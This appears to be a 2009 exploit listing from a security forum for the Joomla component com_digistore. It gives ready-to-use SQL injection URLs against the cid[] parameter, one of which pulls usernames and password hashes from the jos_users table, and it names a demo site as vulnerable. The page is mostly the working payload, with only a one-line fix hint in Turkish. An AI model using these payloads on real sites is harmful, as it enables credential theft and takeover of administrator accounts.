com_digistore ~ SQL Inj. Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > com_digistore ~ SQL Inj. Vuln.

Madde
	Author : Bug Researchers/Fl0riX
	Date : 05.11.2009 00:04:02
	# com_digistore ~ SQL Inj. Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# Joomla Component com_digistore SQL injection Vulnerability ############################################################# # author : Fl0riX ~ Bug Researchers # Name : com_digistore # Bug Type : SQL Injection # Infection : Admin login bilgileri alinabilir. # Demo Vuln. : http://joomla15.ijoomlademo.com/index.php?option=com_digistore&controller=digistoreProducts&task=list&cid[]=-2//union//select//0,1,2,version(),4,5 # Bug Fix Advice : Zararli karakterler filtrelenmelidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > path/index.php?option=com_digistore&controller=digistoreProducts&task=list&cid[]=-2//union//select//0,1,2,concat(username,0x3a,password),4,5//from//jos_users < -- bug code end of -- >